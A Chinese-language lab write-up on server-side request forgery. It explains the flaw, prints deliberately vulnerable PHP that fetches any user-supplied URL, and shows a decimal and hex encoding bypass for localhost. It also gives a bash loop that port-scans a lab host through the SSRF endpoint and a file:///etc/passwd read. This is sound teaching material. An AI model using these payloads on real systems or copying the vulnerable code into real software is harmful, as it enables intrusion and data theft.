天天看點

OWASP TOP10 - SSRFSSRF

SSRF

This room aims at providing the basic introduction to Server Side request forgery vulnerability(SSRF).

0x01 簡述

簡單地說,SSRF是web應用程式中的一個漏洞,攻擊者可以通過伺服器進一步發出HTTP請求。攻擊者可以利用此漏洞與伺服器網絡上通常受防火牆保護的任何内部服務進行通信。

OWASP TOP10 - SSRFSSRF

現在,如果您關注上面的圖表,在正常情況下,攻擊者隻能通路網站并檢視網站資料。運作網站的伺服器可以與内部GitLab或Postgres資料庫通信,但使用者不能,因為中間的防火牆隻允許通路端口80(HTTP)和443(HTTPS),SSRF将使攻擊者能夠連接配接到Postgres并檢視其資料,方法是首先連接配接到網站伺服器,然後使用該伺服器連接配接到資料庫。Postgres會認為該網站正在從資料庫中請求某些内容,但實際上,是攻擊者利用網站中的SSRF漏洞擷取資料。這個過程通常是這樣的:攻擊者在網站上發現SSRF漏洞。防火牆允許所有對網站的請求。然後,攻擊者通過強制Web伺服器從資料庫請求資料,然後将資料傳回給攻擊者,進而利用SSRF漏洞進行攻擊。因為請求來自Web伺服器,而不是直接來自攻擊者,是以防火牆允許該請求通過。  

0x02 原理

該漏洞的主要原因是(通常是)盲目信任使用者的輸入。在SSRF漏洞的情況下,将要求使用者輸入URL(或者IP位址)。web應用程式将使用它來送出請求。當輸入沒有被正确檢查或過濾時,就會産生SSRF。 讓我們看看一些易受攻擊的代碼: 假設有一個應用程式擷取圖像的URL,然後web頁面會為您顯示該圖像。易受攻擊的SSRF代碼如下所示: <?php   if (isset($_GET['url']))   { $url = $_GET['url']; $image = fopen($url, 'rb'); header("Content-Type: image/png"); fpassthru($image);   } 這是一個簡單的PHP代碼,它檢查是否有一個'url'參數中發送的資訊,然後,不執行任何類型的檢查,代碼隻是向使用者送出的url送出請求。攻擊者基本上完全控制URL,可以通過伺服器向Internet上的任何網站發出任意GET請求,也可以通路伺服器本身的資源。   繞過:我們通常要做的是将IP編碼:以十進制格式或十六進制格式編碼。 127.0.0.1可以用對應的十進制和十六進制替換IP來繞過限制。 本地主機IP的十進制版本為“ 2130706433”,十六進制版本為“ 0x7f000001”。 ip轉換連結: https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72  

0x03 實驗(掃描端口)

OWASP TOP10 - SSRFSSRF
OWASP TOP10 - SSRFSSRF
OWASP TOP10 - SSRFSSRF

  16進制編碼繞過

OWASP TOP10 - SSRFSSRF

  bash端口掃描 for x in {1..65535}; do cmd=$(curl -so /dev/null http://10.10.115.201:8000/attack?url=http://2130706433:${x} \         -w '%{size_download}');   if [ $cmd != 1045 ]; then echo "Open port: $x" fi done

OWASP TOP10 - SSRFSSRF

0x04 實驗(檔案讀取)

檔案讀取file:///etc/passwd

OWASP TOP10 - SSRFSSRF

繼續閱讀